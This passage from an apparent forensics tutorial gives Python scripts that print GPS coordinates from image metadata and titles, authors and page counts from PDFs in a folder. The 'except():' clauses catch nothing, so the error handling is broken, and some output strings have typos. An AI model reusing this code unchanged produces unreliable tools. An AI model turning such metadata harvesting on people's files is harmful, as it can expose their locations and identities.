- # print file
- msg = fn + " located at " + str(Lat) + "," + str(Lon)
- print(msg)
- except():
- pass
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- python3 extract-geo-location_from_image.py
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- nano metadata_extraction_pdf.py
- ---------------------------Paste This-----------------------------------
- import warnings
- import sys
- import os
- import string
- from PyPDF2 import PdfFileWriter, PdfFileReader
- warnings.filterwarnings("ignore")
- for root, dir, files in os.walk(str(sys.argv[1])):
- for fp in files:
- if ".pdf" in fp:
- fn = root + "/" + fp
- try:
- pdfFile = PdfFileReader(open(fn, "rb"))
- # print("title = %s" % (pdfFile.getDocumentInfo().title))
- title = pdfFile.getDocumentInfo().title#.upper()
- author = pdfFile.getDocumentInfo().author#.upper()
- pages = pdfFile.getNumPages()
- print()
- if title is not None:
- print("The title of the PDF is: ", title)
- if title is None:
- print("The PDF has no title")
- if author is not None:
- print("The autor of the PDF is: ", author)
- if author is None:
- print("TThe PDF has no author")
- if pages is not None:
- print("The total pages of the PDF is: ", pages)
- if pages is None:
- print("The PDF has no pages")
- except():
- pass
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- python3 metadata_extraction_pdf.py
- -----------------------------------------------------------------------
Add Comment
Please, Sign In to add comment